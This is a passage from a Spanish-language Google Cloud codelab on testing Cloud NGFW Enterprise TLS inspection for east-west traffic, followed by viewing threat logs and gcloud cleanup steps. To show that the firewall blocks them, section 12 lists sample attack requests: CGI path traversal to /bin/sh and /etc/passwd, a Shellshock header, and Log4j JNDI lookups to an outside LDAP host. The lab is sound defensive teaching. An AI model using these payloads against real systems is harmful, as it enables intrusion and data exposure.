12. Validación de la inspección de TLS de E/W

Vuelve a establecer una conexión SSH con el cliente para probar el tráfico de E/W con la configuración de confianza actualizada:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Ejecuta la solicitud de TLS de muestra al servidor:

curl https://$target_privateip --max-time 2

Si sigues recibiendo el siguiente resultado, espera a que se propaguen las actualizaciones.

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

Resultado esperado:

Page on ngfw-enterprise-us-west1-b-www in network ngfw-enterprise-vpc zone $zone

Enviar tráfico de prueba malicioso al servidor:

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2

Resultado esperado:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

No se reciben respuestas según el resultado esperado que se muestra a continuación, lo que confirma que los ataques de muestra ahora se bloquean para E/W.

13. Logging

Navega a Logging > Explorador de registros a través de la consola de Cloud, ingresa el filtro que se indica a continuación y consulta los registros. Reemplaza [PROJECT_ID] por tu project_id:

logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_threat"

Las entradas de registro de Cloud NGFW Enterprise deberían ser similares a las que se muestran a continuación:

5b68cc1063c0f4bd.png

Expande las entradas de registro y observa que se identificaron y bloquearon los ataques enviados desde la VM del cliente al servidor (Vulnerabilidad de ejecución de código remoto de Apache Log4j, como se muestra en la siguiente captura de pantalla).

478f18f8481e90ed.png

Implementaste correctamente Cloud NGFW Enterprise con la inspección de TLS para bloquear solicitudes maliciosas.

Continúa con la siguiente sección para conocer los pasos de limpieza.

14. Pasos de limpieza

Limpieza de la configuración básica

Quita las instancias:

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

Realiza los pasos que se indican a continuación si se cambiaron los roles de tagAdmin y tagUsers:

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

Quita la clave y los valores de la etiqueta:

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

Quita la política de red y la asociación del firewall de Cloud:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

Borra Cloud Router y Cloud NAT:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

Borra las direcciones IP reservadas:

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

SPG, asociación y limpieza de TLS del firewall de Cloud

Borra el grupo de perfiles de seguridad y el perfil de amenazas en este orden:

gcloud -q network-security security-profile-groups delete \
  $prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $prefix-sp-threat \
  --organization $org_id \
  --location=global

Borra la asociación del extremo del firewall de Cloud:

gcloud -q network-security firewall-endpoint-associations delete \
  $prefix-association --zone $zone

Borra el extremo del firewall de Cloud, lo que puede tardar alrededor de 20 minutos:

gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id

De manera opcional, ejecuta el siguiente comando para confirmar que se borró el extremo de NGFW de Cloud:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

El estado del extremo debe mostrar lo siguiente:

STATE: DELETING

Cuando se complete, el extremo ya no aparecerá en la lista.

Borra la política de TLS y la configuración de confianza en este orden:

gcloud -q network-security tls-inspection-policies delete \
  $prefix-tls-policy \
  --location=$region

gcloud -q alpha certificate-manager trust-configs delete \
  $prefix-trust-config \
  --location=$region

Inhabilita y borra la AC raíz y el grupo de AC:

gcloud -q privateca roots disable $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --ignore-dependent-resources 

gcloud -q privateca roots delete $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --skip-grace-period \
  --ignore-active-certificates \
  --ignore-dependent-resources

gcloud -q privateca pools delete $prefix-CA-Pool \
  --location=$region \
  --ignore-dependent-resources

Limpieza de subredes y VPC

Por último, borra la subred y la red de VPC:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

15. ¡Felicitaciones!

¡Felicitaciones! Completaste correctamente el codelab de Cloud NGFW Enterprise para la inspección de TLS de norte a sur y de este a oeste.